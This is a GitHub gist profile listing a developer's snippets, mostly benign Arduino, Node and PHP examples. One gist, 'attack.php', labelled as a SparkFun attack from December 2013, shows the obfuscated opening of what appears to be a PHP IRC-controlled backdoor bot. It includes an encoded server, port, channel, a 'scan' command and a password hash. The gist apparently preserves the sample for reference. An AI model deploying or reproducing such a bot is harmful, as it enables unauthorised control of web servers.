Skip to content

Instantly share code, notes, and snippets.

Todd Treece toddtreece

View GitHub Profile
View A_WebWeather.ino
A_WebWeather.ino/*
Web client to Adafruit IO
This sketch connects to a website (http://www.adafruit.com)
using a WINC1500
This example is written for a network using WPA encryption. For
WEP or WPA, change the Wifi.begin() call accordingly.
This example is written for a network using WPA encryption. For
View package_test_index.json
{
"packages": [
{
"name": "adafruit",
"maintainer": "Adafruit",
"websiteURL": "https://adafruit.com",
"email": "info@adafruit.com",
"help": {
"online": "https://forums.adafruit.com"
},
@toddtreece
toddtreece / midi_cv.ino
Created Apr 28, 2015
FifteenStep: MIDI in -> CV Out
View midi_cv.ino
// ---------------------------------------------------------------------------
//
// midi_cv.ino
//
// A MIDI sequencer example using two MCP4725 dacs for eurorack control voltage
// output and NeoPixels for display.
//
// Required dependencies:
// Adafruit FifteenStep Sequencer Library: https://github.com/adafruit/FifteenStep
// Adafruit NeoPixel Library: https://github.com/adafruit/Adafruit_NeoPixel
View keybase.md

Keybase proof

I hereby claim:

  • I am toddtreece on github.
  • I am toddtreece (https://keybase.io/toddtreece) on keybase.
  • I have a public key whose fingerprint is 2223 D90F 790B C662 E873 AAAC CEAF AC28 3CB0 FA9F

To claim this, I am signing this object:

@toddtreece
toddtreece / _install.txt
Created Jul 17, 2014
socket.io client example for data.sparkfun.com
View _install.txt
$ node -v
v0.10.29
$ npm install socket.io-client
$ node socket.js
@toddtreece
toddtreece / .env
Created Jul 11, 2014
phant port change example
View .env
PHANT_PORT=8080
PHANT_TELNET_PORT=8081
@toddtreece
toddtreece / attack.php
Last active Dec 30, 2019
sparkfun attack 12-27-13
View attack.php
<?php set_time_limit(0); error_reporting(0); class FZjJrBjJJZfjFnzFf {
var $BvNfVZJNBNjVNvz = array("JFJBfVJnRRzvbZzJ"=>"dXdkZ31kej5geHk7e30=",
"zvvF"=>"8080",
"nVnBV"=>"scary",
"zjnNFn"=>"13",
"HhLxP"=>"#ngrz",
"vBf"=>"scan",
"FzvzFJrrj"=>"bf4b3ba0692b4378406f3df1df1e326a",
"NrVzbznZJJ"=>".",
View SparkKml.php
<?php
/**
* Generates KML for use with SparkVisualize
*
* @author Todd Treece
*/
class SparkKml {
const SFE_LAT = '40.0648970';
const SFE_LNG = '-105.2099410';
View gist:940886
int ledPin = 13;
int drumSensor = 0;
byte val = 0;
int statePin = LOW;
int THRESHOLD = 50;
void setup() {
pinMode(ledPin, OUTPUT);
Serial.begin(9600);
}
You can’t perform that action at this time.